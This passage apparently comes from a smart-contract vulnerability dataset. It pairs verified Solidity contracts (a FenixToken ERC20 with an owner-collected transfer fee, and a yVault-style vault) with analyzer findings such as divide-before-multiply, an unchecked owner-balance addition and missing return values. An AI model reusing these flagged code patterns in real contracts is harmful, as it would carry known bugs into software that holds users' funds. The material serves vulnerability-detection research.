ype":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCurrentActiveSaleStage","outputs":[{"internalType":"enum SaleStage","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxCountToBeDispensed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_whiteListMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_whiteListSaleStartTime","type":"uint256"},{"internalType":"uint256","name":"_whiteListSaleEndTime","type":"uint256"},{"internalType":"uint256","name":"_whiteListSaleRemainingCount","type":"uint256"},{"internalType":"uint256","name":"_whiteListSaleMintPrice","type":"uint256"},{"internalType":"uint256","name":"_auctionStartTime","type":"uint256"},{"internalType":"uint256","name":"_auctionEndTime","type":"uint256"},{"internalType":"uint256","name":"_auctionTimeStep","type":"uint256"},{"internalType":"uint256","name":"_totalAuctionTimeSteps","type":"uint256"},{"internalType":"uint256","name":"_auctionStartPrice","type":"uint256"},{"internalType":"uint256","name":"_auctionEndPrice","type":"uint256"},{"internalType":"uint256","name":"_auctionPriceStep","type":"uint256"}],"name":"setSaleData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalAuctionTimeSteps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"whiteListMerkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whiteListPurchased","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whiteListSaleEndTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whiteListSaleMintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whiteListSalePurchased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whiteListSaleRemainingCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whiteListSaleStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.10+commit.fc410830
true
200
000000000000000000000000bd39e9214f29e0b4b7493f24361009abf2a08750
Default
false
FenixToken
0x01e4543460347a3a77e094ab3e279932d1cae050
Solidity
pragma solidity ^0.5.16; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function appTransfer(address to, uint256 value) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they not should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, with should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint public feeShare; constructor() public { feeShare = 10; //10% in-app transfer fee by default } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(_msgSender(), spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Sets `feeShare` for share percentage for every app transaction. * * Requirements: * * - `value` integer. */ function setTransferFee(uint value) onlyOwner public returns (bool) { require(value < 100); feeShare = value; } /** * @dev This function is equivalent to {transfer}, with modification for * in-app use where every transaction is charged with fee. * * Emits an {Transfer} event indicating the token transfer to receiver. * Emits an {Transfer} event indicating the token transfer to collect the fee. * * Requirements: * * - `to` cannot be the zero address. * - `value` must have a balance of at least `value`. */ function appTransfer(address to, uint256 value) public returns (bool) { require(value%feeShare == 0); //Necessary to validate if it's possible to collect a fee uint fee = feeShare.mul(value.div(100)); require(balanceOf(msg.sender) > value) ; require(balanceOf(to) + value > balanceOf(to)); _balances[msg.sender] = _balances[msg.sender].sub(value, "ERC20: transfer amount exceeds balance"); _balances[to] = _balances[to].add(value.sub(fee, "ERC20: transfer amount exceeds balance")); _balances[owner] += fee; emit Transfer(msg.sender, to, value.sub(fee)); emit Transfer(msg.sender, owner, fee); } } contract FenixToken is Context, ERC20, ERC20Detailed { /** * @dev Constructor that gives _msgSender() all of existing tokens. */ constructor () public ERC20Detailed("FENIX", "FNX", 18) { _mint(_msgSender(), 2790000000 * (10 ** uint256(decimals()))); } }
[{"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["557", "569"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["190"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["590"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FenixToken.sol": [154, 155, 156, 157]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FenixToken.sol": [300, 301, 302, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FenixToken.sol": [136, 137, 138]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"FenixToken.sol": [584]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [336, 337, 338]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [328, 329, 330]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [454, 455, 456, 457, 458]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [491, 492, 493, 494]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [418, 419, 420, 421]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [472, 473, 474, 475]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [194, 195, 196, 197, 198]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [400, 401, 399]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [440, 437, 438, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [564, 565, 566, 567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FenixToken.sol": [426, 427, 428]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FenixToken.sol": [166]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FenixToken.sol": [336, 337, 338]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FenixToken.sol": [352, 353, 354]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FenixToken.sol": [328, 329, 330]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FenixToken.sol": [166]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"FenixToken.sol": [290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FenixToken.sol": [603]}}]
[]
[{"rule": "SOLIDITY_DIV_MUL", "line": 584, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 437, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 564, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 582, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 564, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 310, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 311, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 312, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 384, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 386, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 388, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 382, "severity": 1}]
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"appTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"feeShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.16+commit.9c3226ce
true
200
Default
None
false
bzzr://18f21846ef8e127f37415d2ac20797e0205aa277ac9862e3b37e1b5ad2687900
yCurveBtcVault
0xa624e01f0c0f3a18dc92fd07f3a3d9b5d4ccdfe7
Solidity
// File: /home/illuschwo/Generation.finance/test/contracts/vaults/yCurveBtcVault.sol pragma solidity ^0.5.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "../../interfaces/yearn/IController.sol"; // NOTE: The name of this contract was modified from yVault so as not to conflict with yVault.sol contract yCurveBtcVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9990; uint public constant max = 10000; address public governance; address public controller; constructor (address _token, address _controller) public ERC20Detailed( string(abi.encodePacked("ygem", ERC20Detailed(_token).name())), string(abi.encodePacked("y", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = msg.sender; controller = _controller; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(IController(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "!governance"); controller = _controller; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); IController(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); IController(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } } // File: /home/illuschwo/Generation.finance/test/interfaces/yearn/IController.sol pragma solidity ^0.5.16; interface IController { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. 